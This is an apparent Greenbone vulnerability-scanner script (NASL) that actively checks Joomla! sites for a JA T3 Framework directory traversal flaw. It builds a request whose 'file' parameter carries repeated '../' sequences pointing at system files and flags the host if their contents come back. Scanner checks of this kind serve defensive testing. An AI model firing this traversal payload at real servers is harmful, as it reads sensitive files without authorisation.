Joomla! JA T3 Framework Component Directory Traversal Vulnerability (Apr 2012) - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:joomla:joomla";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902672");
  script_version("2026-04-30T06:27:06+0000");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2026-04-30 06:27:06 +0000 (Thu, 30 Apr 2026)");
  script_tag(name:"creation_date", value:"2012-04-25 17:38:13 +0530 (Wed, 25 Apr 2012)");

  script_name("Joomla! JA T3 Framework Component Directory Traversal Vulnerability (Apr 2012) - Active Check");

  script_xref(name:"URL", value:"http://1337day.com/exploits/18065");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53039");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/74909");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/111906/Joomla-JA-T3-Framework-Directory-Traversal.html");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("joomla_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("joomla/detected");

  script_tag(name:"impact", value:"Successful exploitation could allow attackers to read arbitrary
  files via directory traversal attacks and gain sensitive information.");

  script_tag(name:"affected", value:"Joomla! JA T3 Framework Component");

  script_tag(name:"insight", value:"The flaw is due to an improper validation of user supplied
  input passed in 'file' parameter to the 'index.php', which allows attackers to read arbitrary
  files via a ../(dot dot) sequences.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"summary", value:"Joomla! JA T3 Framework component is prone to a directory
  traversal vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("traversal_func.inc");
include("http_func.inc");
include("host_details.inc");
include("os_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe:CPE))
  exit(0);

if (!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {
  url = dir + "/index.php?file=" + crap(data:"../",length:3*15) + files[file] + "&jat3action=gzip&type=css&v=1";

  if (http_vuln_check(port: port, url: url, pattern: file, check_header: TRUE)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);